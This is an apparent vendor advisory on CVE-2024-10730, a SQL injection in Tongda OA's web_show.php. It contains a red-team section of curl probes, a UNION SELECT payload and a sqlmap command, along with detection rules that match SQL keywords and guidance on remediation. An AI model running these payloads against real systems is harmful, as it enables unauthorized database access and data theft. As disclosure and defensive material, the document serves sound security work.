CVE-2024-10730

Executive Summary

CVE-2024-10730 is a critical SQL injection vulnerability discovered in Tongda OA (Office Automation) up to version 11.6. The flaw resides in the /pda/appcenter/web_show.php file, where the ID parameter is not properly sanitized before being used in a SQL query. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full system compromise. The vulnerability has been publicly disclosed with proof-of-concept (PoC) code, increasing the risk of widespread exploitation. No official patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a proprietary enterprise application (Tongda OA). Organizations using Tongda OA should treat this as a critical supply chain risk, as the software is often deployed in internal networks with access to sensitive business data.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential to disrupt database operations.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the ID parameter of the /pda/appcenter/web_show.php endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries.

Example vulnerable code pattern (conceptual):

$id = $_GET['ID'];
$query = "SELECT * FROM app_center WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by appending a single quote or other SQL metacharacters. For example:

http://target.com/pda/appcenter/web_show.php?ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

The injection can be used to extract database credentials, user data, or even execute operating system commands if the database user has sufficient privileges (e.g., xp_cmdshell in SQL Server or INTO OUTFILE in MySQL).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// /pda/appcenter/web_show.php
$id = $_GET['ID'];
$sql = "SELECT * FROM app_center WHERE id = $id";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual):

// /pda/appcenter/web_show.php
$id = intval($_GET['ID']); // Cast to integer
$sql = "SELECT * FROM app_center WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses parameterized queries (prepared statements) to ensure user input is treated as data, not executable code. Additionally, input validation (e.g., intval()) adds a layer of defense.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Tongda OA <= 11.6
• Network access to the /pda/appcenter/web_show.php endpoint

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/pda/appcenter/web_show.php?ID=1"
   

2. Confirm SQL injection:

   curl "http://target.com/pda/appcenter/web_show.php?ID=1'"
   

   If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.

3. Extract database version:

   curl "http://target.com/pda/appcenter/web_show.php?ID=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--"
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/pda/appcenter/web_show.php?ID=1" --batch --dbs
   

Lab Setup:

• Use Docker to deploy a vulnerable instance (if available) or set up a local environment with Tongda OA 11.6.
• Ensure the database is MySQL/MariaDB.

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual SQL characters in the ID parameter (e.g., ', UNION, SELECT, --).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Honeypot:

• Create a decoy endpoint /pda/appcenter/web_show.php that logs all requests and alerts on suspicious input.

Response:

• Immediately isolate affected systems.
• Review database logs for unauthorized queries.
• Rotate all credentials stored in the database.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /pda/appcenter/web_show.php with ID parameter containing SQL keywords (e.g., UNION, SELECT, ').
• Outbound database connections from the web server to unknown IPs (data exfiltration).

File IOCs:

• Suspicious files in the web root (e.g., webshells like cmd.php).
• Modified database configuration files (e.g., config.inc.php).

Log IOCs:

• Web server logs showing repeated 500 errors on the vulnerable endpoint.
• Database logs showing UNION SELECT statements.

Detection Engineering

YARA Rule

rule CVE_2024_10730_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10730 in Tongda OA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10730"
    strings:
        $sqli1 = "ID=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "'" nocase
        $sqli5 = "--" nocase
        $sqli6 = "/*" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt on Tongda OA web_show.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-10730
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "ID="
            - "UNION"
            - "SELECT"
            - "'"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameter values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10730 SQL Injection Attempt"; flow:to_server,established; content:"/pda/appcenter/web_show.php"; http_uri; content:"ID="; http_uri; pcre:"/(UNION|SELECT|\x27|--)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /pda/appcenter/web_show.php via web server configuration (e.g., .htaccess or Nginx deny).
2. Apply virtual patching using a WAF to block SQL injection patterns.
3. Isolate affected systems from the network until a patch is applied.

Long-term Fix:

• Vendor Patch: Monitor Tongda for an official patch. If unavailable, consider migrating to a different OA solution.
• Code Fix: Implement parameterized queries and input validation as shown in the patched code section.
• Security Hardening:
  • Use least-privilege database accounts.
  • Enable detailed logging and monitoring.
  • Conduct regular security audits.

Workaround:

• If the endpoint is critical, restrict access by IP whitelisting or VPN.

Valters IT
Securing Digital Frontiers